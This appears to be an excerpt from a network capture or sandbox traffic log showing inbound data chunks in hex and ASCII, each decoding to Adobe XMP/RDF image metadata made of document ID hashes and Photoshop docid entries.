2022-07-20 04:06:50 UTC	3097	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 45 38 45 30 44 32 35 34 41 36 45 34 33 44 38 46 43 41 42 36 34 43 42 39 37 36 31 32 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 46 35 38 39 39 30 35 44 43 34 43 44 34 30 37 39 38 33 41 34 41 39 45 34 30 44 39 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 30 46 31 36 31 32 39 35 43 33 37 38 39 44 35 45 41 30 35 44 37 38 36 42 30 38 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 35 35 42 37 42 41 46 39 36 36 35 44 41 34 42 37 41 44 45 44 36 34 41 30 41 31 32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 37 35 45 37 43 46 33 44 44 45 35 35 39 38 41 33 43 37 33 43 31 34 44 30 45 33 39 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>5AE8E0D254A6E43D8FCAB64CB97612F4</rdf:li> <rdf:li>5AF589905DC4CD407983A4A9E40D9FEE</rdf:li> <rdf:li>5B0F161295C3789D5EA05D786B08BE55</rdf:li> <rdf:li>5B155B7BAF9665DA4B7ADED64A0A125D</rdf:li> <rdf:li>5B175E7CF3DDE5598A3C73C14D0E390E</rdf:li>
2022-07-20 04:06:50 UTC	3189	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 36 39 37 36 46 31 35 46 46 44 42 31 46 46 39 37 42 33 34 43 38 35 33 35 36 42 37 36 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 44 43 32 38 34 31 35 41 36 46 37 46 35 35 38 35 44 45 35 31 41 38 45 36 44 35 37 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 38 31 30 43 35 38 39 45 33 46 32 46 35 38 42 35 44 45 38 41 33 31 38 43 30 44 35 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 32 38 30 46 45 44 30 32 34 33 37 30 35 44 46 36 46 32 32 41 37 38 43 42 35 30 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 39 37 31 31 31 42 45 30 33 36 38 35 42 45 36 38 32 31 33 30 46 39 31 33 32 35 34 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>6976F15FFDB1FF97B34C85356B7625D8</rdf:li> <rdf:li>697DC28415A6F7F5585DE51A8E6D5713</rdf:li> <rdf:li>69810C589E3F2F58B5DE8A318C0D5A0E</rdf:li> <rdf:li>699280FED0243705DF6F22A78CB50A0E</rdf:li> <rdf:li>69997111BE03685BE682130F91325479</rdf:li> <rdf:
2022-07-20 04:06:50 UTC	3220	IN	Data Raw: 64 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 32 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 43 41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 41 31 36 34 45 36 46 30 44 32 37 41 30 44 37 31 31 37 33 43 32 38 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 37 37 42 34 36 38 31 42 34 45 32 38 36 38 39 46 36 41 32 41 31 36 31 30 36 43 45 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 37 42 44 38 31 38 42 44 34 44 46 45 31 38 37 30 38 46 41 38 39 37 34 44 46 41 36 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED</rdf:li> <rdf:li>706BDF0A164E6F0D27A0D71173C28A00</rdf:li> <rdf:li>7077B4681B4E28689F6A2A16106CEF0E</rdf:li> <rdf:li>7097BD818BD4DFE18708FA8974DFA679</rdf:li> <rdf:li
2022-07-20 04:06:50 UTC	3284	IN	Data Raw: 36 44 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 43 36 33 38 45 33 42 38 36 46 33 33 39 31 32 43 43 42 42 35 43 45 34 45 34 33 42 35 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 44 42 45 41 34 37 41 36 45 42 43 34 32 34 39 35 31 33 38 46 39 36 46 31 44 46 42 43 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 45 44 38 33 38 32 41 31 41 36 31 45 38 43 45 44 41 34 45 37 41 44 38 46 31 32 39 44 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 30 38 33 35 46 43 34 43 37 45 30 36 45 46 31 33 41 36 30 46 45 45 39 43 37 39 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 36 32 31 37 33 46 35 43 31 33 32 31 30 33 43 30 31 38 32 32 43 37 32 43 41 46 37 44 42 3c Data Ascii: 6D69</rdf:li> <rdf:li>7EC638E3B86F33912CCBB5CE4E43B528</rdf:li> <rdf:li>7EDBEA47A6EBC42495138F96F1DFBC81</rdf:li> <rdf:li>7EED8382A1A61E8CEDA4E7AD8F129DF0</rdf:li> <rdf:li>7EF0835FC4C7E06EF13A60FEE9C791CA</rdf:li> <rdf:li>7EF62173F5C132103C01822C72CAF7DB<
2022-07-20 04:06:50 UTC	3300	IN	Data Raw: 33 37 34 37 34 42 31 39 34 44 30 43 45 37 30 45 38 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 30 34 46 45 41 43 31 44 45 30 32 45 38 37 33 35 33 41 39 34 31 34 44 35 41 35 34 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 46 30 36 45 38 30 31 46 38 32 34 32 42 43 45 38 45 35 44 31 45 46 45 43 37 39 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 30 31 39 36 42 37 34 34 37 37 39 37 46 43 32 42 30 35 46 37 42 42 30 42 31 34 41 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 32 43 45 41 42 32 31 43 30 37 33 37 37 36 38 37 30 31 45 42 38 30 34 45 42 41 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 38 37 37 34 38 36 38 43 45 38 33 33 37 36 Data Ascii: 37474B194D0CE70E8D65</rdf:li> <rdf:li>8AD04FEAC1DE02E87353A9414D5A542E</rdf:li> <rdf:li>8ADF06E801F8242BCE8E5D1EFEC797D7</rdf:li> <rdf:li>8AF0196B7447797FC2B05F7BB0B14A08</rdf:li> <rdf:li>8AF2CEAB21C0737768701EB804EBAD14</rdf:li> <rdf:li>8AF8774868CE83376
2022-07-20 04:06:50 UTC	3349	IN	Data Raw: 43 32 38 45 37 33 34 30 44 35 38 33 46 39 44 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 34 36 43 37 35 30 41 39 42 30 46 32 36 30 39 35 46 46 34 45 38 42 44 35 38 46 42 38 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 35 46 36 33 31 43 35 31 46 38 31 41 35 36 38 35 43 33 44 41 44 39 43 41 45 42 39 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 37 46 31 46 42 36 38 45 45 45 44 39 39 44 44 43 37 44 32 39 43 33 37 45 31 45 32 36 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 39 34 41 30 41 32 36 39 31 31 34 37 33 37 34 43 38 43 31 36 43 46 33 39 31 38 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 41 33 32 39 34 35 32 36 33 42 41 37 43 43 33 38 31 Data Ascii: C28E7340D583F9DC3A</rdf:li> <rdf:li>9246C750A9B0F26095FF4E8BD58FB86A</rdf:li> <rdf:li>925F631C51F81A5685C3DAD9CAEB9138</rdf:li> <rdf:li>927F1FB68EEED99DDC7D29C37E1E269A</rdf:li> <rdf:li>9294A0A2691147374C8C16CF39182E7F</rdf:li> <rdf:li>92A32945263BA7CC381
2022-07-20 04:06:50 UTC	3413	IN	Data Raw: 30 43 36 46 31 36 44 34 39 39 41 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 33 34 45 32 37 42 31 32 43 33 45 34 42 30 41 34 35 37 44 41 35 34 42 32 46 31 42 45 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 42 30 32 41 37 39 46 34 31 36 33 38 43 37 44 46 44 35 37 42 34 42 42 35 39 38 32 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 45 32 41 38 36 35 34 37 37 44 37 37 35 38 30 37 33 32 43 36 34 43 35 43 46 32 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 37 38 36 45 41 33 32 32 35 42 35 30 35 39 38 34 30 44 44 35 30 33 33 30 38 45 34 35 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 38 32 42 44 39 41 30 36 32 30 39 32 30 36 33 46 34 31 34 31 33 38 Data Ascii: 0C6F16D499ACA</rdf:li> <rdf:li>A034E27B12C3E4B0A457DA54B2F1BE8E</rdf:li> <rdf:li>A06B02A79F41638C7DFD57B4BB598263</rdf:li> <rdf:li>A06E2A865477D77580732C64C5CF29A6</rdf:li> <rdf:li>A0786EA3225B5059840DD503308E45E1</rdf:li> <rdf:li>A082BD9A062092063F414138
2022-07-20 04:06:50 UTC	3436	IN	Data Raw: 36 43 34 44 46 35 37 43 30 44 39 34 38 31 39 35 37 45 36 39 37 36 45 39 42 30 30 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 36 46 34 35 36 39 30 36 46 42 32 41 39 36 35 41 45 35 45 31 41 45 34 34 38 31 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 42 34 33 32 36 33 32 35 34 35 43 42 44 45 36 31 37 45 31 38 41 37 37 30 37 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 45 35 32 44 30 46 33 33 43 42 38 35 45 35 45 43 35 35 36 39 39 41 30 37 39 31 37 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 46 32 42 36 46 35 38 32 42 38 43 36 39 35 33 38 41 43 37 37 34 32 46 38 31 32 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 44 33 41 45 30 41 Data Ascii: 6C4DF57C0D9481957E6976E9B008B</rdf:li> <rdf:li>ADA6F456906FB2A965AE5E1AE448116E</rdf:li> <rdf:li>ADAB432632545CBDE617E18A7707097D</rdf:li> <rdf:li>ADAE52D0F33CB85E5EC55699A07917F7</rdf:li> <rdf:li>ADAF2B6F582B8C69538AC7742F812D88</rdf:li> <rdf:li>ADD3AE0A
2022-07-20 04:06:50 UTC	3444	IN	Data Raw: 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 46 43 34 35 35 37 34 46 31 35 43 34 38 36 33 31 42 45 42 33 34 46 38 46 32 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 44 30 44 37 37 33 33 37 38 31 45 37 44 41 33 35 36 46 44 43 34 44 33 43 31 39 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 46 44 36 34 34 34 37 36 43 37 46 35 41 44 38 32 38 42 41 34 35 30 36 41 33 39 39 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 33 39 43 42 39 30 38 30 44 33 37 33 46 39 33 38 34 34 45 46 46 45 31 41 42 39 31 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 35 31 32 38 35 34 39 Data Ascii: 9719682577259F07F2DC107EB88</rdf:li> <rdf:li>B43B7FC45574F15C48631BEB34F8F21F</rdf:li> <rdf:li>B43D0D7733781E7DA356FDC4D3C1910F</rdf:li> <rdf:li>B43FD644476C7F5AD828BA4506A399D9</rdf:li> <rdf:li>B4439CB9080D373F93844EFFE1AB911B</rdf:li> <rdf:li>B445128549
2022-07-20 04:06:50 UTC	3445	IN	Data Raw: 42 33 41 35 34 45 43 46 36 38 39 35 45 35 33 43 41 32 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 42 46 37 37 30 35 39 30 45 35 39 38 39 46 35 33 31 31 41 41 42 41 35 45 39 46 35 35 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 30 31 37 38 42 37 39 30 44 35 39 37 31 42 35 31 44 45 37 43 37 45 37 42 42 32 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 37 37 30 36 37 35 34 43 31 46 44 41 44 46 32 45 42 38 39 36 38 31 46 32 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 38 45 41 44 32 31 34 43 32 30 46 41 36 39 36 37 43 37 34 45 43 38 37 36 32 37 38 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 43 32 37 35 35 33 42 45 32 30 45 46 44 Data Ascii: B3A54ECF6895E53CA2EC6</rdf:li> <rdf:li>B4BF770590E5989F5311AABA5E9F5589</rdf:li> <rdf:li>B4C0178B790D5971B51DE7C7E7BB25FF</rdf:li> <rdf:li>B4C7706754C1FDADF2EB89681F27EE2C</rdf:li> <rdf:li>B4C8EAD214C20FA6967C74EC87627866</rdf:li> <rdf:li>B4CC27553BE20EFD
2022-07-20 04:06:50 UTC	3698	IN	Data Raw: 66 3a 6c 69 3e 43 32 41 34 36 30 45 46 32 30 31 43 33 31 44 38 33 42 32 37 36 30 35 46 41 42 44 38 38 38 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 41 42 41 35 37 35 31 46 42 42 46 41 35 39 31 31 34 39 35 33 46 36 35 36 41 35 46 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 42 41 37 46 39 36 38 33 36 44 35 43 38 46 35 39 36 38 44 36 33 46 45 37 39 43 43 37 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 43 34 43 35 33 38 32 37 37 43 44 32 34 32 32 44 39 38 38 31 37 43 44 36 39 46 33 33 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 44 30 32 43 39 43 38 45 46 39 37 38 30 41 39 44 33 32 39 42 43 43 44 31 41 31 43 35 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>C2A460EF201C31D83B27605FABD888BB</rdf:li> <rdf:li>C2ABA5751FBBFA59114953F656A5FA4B</rdf:li> <rdf:li>C2BA7F96836D5C8F5968D63FE79CC75B</rdf:li> <rdf:li>C2C4C538277CD2422D98817CD69F3371</rdf:li> <rdf:li>C2D02C9C8EF9780A9D329BCCD1A1C586</rdf:li> <rdf:li>
2022-07-20 04:06:50 UTC	3722	IN	Data Raw: 43 45 45 44 44 41 41 37 36 43 35 45 34 41 38 35 38 45 31 32 36 39 31 34 34 36 37 42 41 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 44 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 32 42 33 41 46 31 33 45 38 37 41 37 39 46 41 42 44 43 45 37 32 41 35 35 33 44 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 41 33 Data Ascii: CEEDDAA76C5E4A858E126914467BA03A</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> <rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> <rdf:li>CF22B3AF13E87A79FABDCE72A553DF0C</rdf:li> <rdf:li>CF2A3
2022-07-20 04:06:50 UTC	3761	IN	Data Raw: 3a 6c 69 3e 44 35 41 32 35 39 43 45 37 32 33 35 35 31 31 36 44 43 39 31 43 33 46 34 39 41 35 39 33 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 41 38 34 43 35 46 33 39 34 34 39 38 31 45 46 45 34 44 37 42 45 44 41 31 33 45 33 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 44 31 41 41 45 41 35 41 41 31 45 43 31 39 38 36 35 41 30 33 30 38 41 36 30 32 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 46 42 46 46 37 39 34 31 31 39 39 33 30 46 39 46 30 35 37 32 33 37 32 45 46 46 30 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 Data Ascii: :li>D5A259CE72355116DC91C3F49A593D4D</rdf:li> <rdf:li>D5A84C5F3944981EFE4D7BEDA13E3260</rdf:li> <rdf:li>D5CD1AAEA5AA1EC19865A0308A60263F</rdf:li> <rdf:li>D5CFBFF794119930F9F0572372EFF0DE</rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D
2022-07-20 04:06:50 UTC	3801	IN	Data Raw: 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 34 35 31 38 42 44 42 37 34 44 46 36 44 37 36 34 44 30 42 37 43 42 35 33 45 30 36 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 39 30 30 35 46 37 45 42 42 43 42 35 38 46 45 30 39 44 41 35 38 42 38 34 44 33 42 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 33 37 34 31 43 41 43 30 41 41 44 43 44 32 44 31 37 45 44 41 37 34 33 30 38 32 45 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 35 38 42 35 45 31 44 42 46 36 33 37 37 41 32 43 37 34 44 32 37 30 30 32 46 38 39 41 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 36 41 31 36 39 37 45 37 38 44 30 45 43 42 32 45 38 36 32 34 41 31 41 37 38 45 39 32 45 41 3c 2f 72 Data Ascii: A9</rdf:li> <rdf:li>E324518BDB74DF6D764D0B7CB53E06AD</rdf:li> <rdf:li>E329005F7EBBCB58FE09DA58B84D3B93</rdf:li> <rdf:li>E33741CAC0AADCD2D17EDA743082E80C</rdf:li> <rdf:li>E358B5E1DBF6377A2C74D27002F89ABE</rdf:li> <rdf:li>E36A1697E78D0ECB2E8624A1A78E92EA</r
2022-07-20 04:06:50 UTC	3849	IN	Data Raw: 41 37 42 32 31 45 35 38 31 36 35 30 44 37 35 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 30 45 46 32 34 38 46 38 38 31 39 32 42 33 39 43 38 46 36 46 30 46 38 43 33 44 38 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 34 36 31 36 44 42 37 31 34 31 42 44 38 45 34 34 44 41 41 37 35 35 30 39 43 35 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 43 42 37 38 31 41 38 43 37 43 38 46 42 43 31 34 38 38 36 38 34 43 36 32 44 33 30 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 45 39 41 45 41 42 43 31 37 31 35 31 36 32 43 45 44 31 32 37 32 33 43 44 44 43 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 46 39 45 46 36 44 30 35 35 37 36 39 37 31 36 46 Data Ascii: A7B21E581650D75711</rdf:li> <rdf:li>EF30EF248F88192B39C8F6F0F8C3D839</rdf:li> <rdf:li>EF34616DB7141BD8E44DAA75509C5B92</rdf:li> <rdf:li>EF3CB781A8C7C8FBC1488684C62D3062</rdf:li> <rdf:li>EF3E9AEABC1715162CED12723CDDC55B</rdf:li> <rdf:li>EF3F9EF6D055769716F
2022-07-20 04:06:50 UTC	3880	IN	Data Raw: 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 35 44 32 32 34 43 44 43 38 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 44 42 39 35 43 30 39 32 34 42 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 31 39 35 33 39 46 41 33 44 35 35 39 43 43 43 39 34 31 44 30 45 41 39 36 30 43 31 44 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 33 43 41 37 43 30 32 34 42 37 31 46 31 35 32 36 32 31 35 Data Ascii: 473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CEF85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F915990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519539FA3D559CCC941D0EA960C1DFD</rdf:li> <rdf:li>F53CA7C024B71F1526215
2022-07-20 04:06:50 UTC	3920	IN	Data Raw: 65 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 64 64 32 66 64 30 2d 64 33 32 36 2d 31 31 64 64 2d 61 64 36 30 2d 64 38 35 64 38 30 38 30 36 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 65 37 64 37 35 32 2d 38 63 61 64 2d 31 31 64 39 2d 62 39 33 34 2d 62 38 37 39 39 31 35 63 39 31 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 62 39 38 38 61 62 62 2d 65 30 38 63 2d 31 31 64 37 2d 38 64 34 34 2d 38 32 64 32 31 62 33 61 36 38 30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: e120</rdf:li> <rdf:li>adobe:docid:photoshop:0add2fd0-d326-11dd-ad60-d85d80806ad1</rdf:li> <rdf:li>adobe:docid:photoshop:0ae7d752-8cad-11d9-b934-b879915c9142</rdf:li> <rdf:li>adobe:docid:photoshop:0b988abb-e08c-11d7-8d44-82d21b3a680f</rdf:li> <rdf:li>adobe
2022-07-20 04:06:50 UTC	3968	IN	Data Raw: 33 64 66 33 65 32 32 65 2d 62 35 36 65 2d 31 31 64 64 2d 61 64 35 32 2d 62 64 32 36 61 63 39 30 66 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 66 38 35 38 32 32 2d 62 66 35 66 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 30 62 31 33 35 32 2d 62 34 37 62 2d 31 31 65 34 2d 39 30 61 39 2d 61 30 61 61 66 35 66 35 31 61 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 34 31 39 37 62 39 2d 61 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 Data Ascii: 3df3e22e-b56e-11dd-ad52-bd26ac90f3f6</rdf:li> <rdf:li>adobe:docid:photoshop:3df85822-bf5f-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:3e0b1352-b47b-11e4-90a9-a0aaf5f51ab1</rdf:li> <rdf:li>adobe:docid:photoshop:3e4197b9-a04d-11e7-a559-bda
2022-07-20 04:06:50 UTC	3976	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 62 66 36 38 2d 30 66 36 37 2d 31 31 64 65 2d 38 63 38 39 2d 61 62 64 38 36 38 31 35 32 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>adobe:docid:photoshop:5342bf68-0f67-11de-8c89-abd868152904</rdf:li> <rdf:li>adobe:docid:photoshop
